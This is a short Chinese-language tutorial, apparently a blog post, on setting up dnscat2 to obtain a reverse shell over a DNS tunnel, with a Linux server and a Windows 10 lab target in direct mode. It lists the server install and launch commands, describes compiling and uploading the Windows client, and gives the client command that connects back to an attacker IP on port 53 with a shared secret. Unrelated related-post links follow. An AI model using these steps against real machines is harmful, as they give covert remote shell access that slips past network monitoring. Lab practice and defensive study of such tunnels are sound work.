使用dnscat2 进行dns隧道反弹shell——直连模式linux对windows

  • 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求

环境搭建

搭建服务端

git clone https://github.com/iagox86/dnscat2.git

cd dnscat2/server/

gem install bundler

apt-get install ruby-dev

bundle install

过程会有点慢

开启服务端

ruby ./dnscat2.rb

搭建客户端

这里首先需要在Visual Studio 2008中打开一个解决方案:client\win32\dnscat2.vcproj。然后编译就会看到client\win32\Release下有一个dnscat2.exe文件了

将这个文件上传至win10靶机运行

开启客户端

dnscat2.exe --dns server=192.168.227.128,port=53 --secret=9d42a40bfeef7cf1f781326684d4d3e0

剩下的就和linux一样,进入隧道反弹shell,然后ctrl+z返回上一层

进入弹回来的shell

相关推荐
带土11 小时前
3. vim上手
linux·编辑器·vim
prettyxian1 小时前
【linux】基础开发工具(2)vim
linux·vim
西岭千秋雪_1 小时前
Zookeeper监听机制
java·linux·服务器·spring·zookeeper
冬夜戏雪1 小时前
[尚庭公寓P91-P104-及服务器服务的连接]
运维·服务器
Jewel Q2 小时前
防火墙NAT策略处理流程
运维·服务器·网络
失重外太空啦2 小时前
NFS服务器的搭建
运维·服务器·网络
NewCarRen2 小时前
自动驾驶汽车与利益相关者互动的功能安全与网络安全分析方法
安全·网络安全·自动驾驶·汽车
爱奥尼欧2 小时前
【Linux笔记】网络部分——网络层IP协议
linux·网络·笔记
埃伊蟹黄面2 小时前
告别手动编译:用Makefile自动化你的Linux项目
linux·服务器
Jonathan Star2 小时前
网站识别爬虫(包括以浏览器插件形式运行的爬虫)主要通过分析请求特征、行为模式等差异来区分人类用户和自动化程序
运维·爬虫·自动化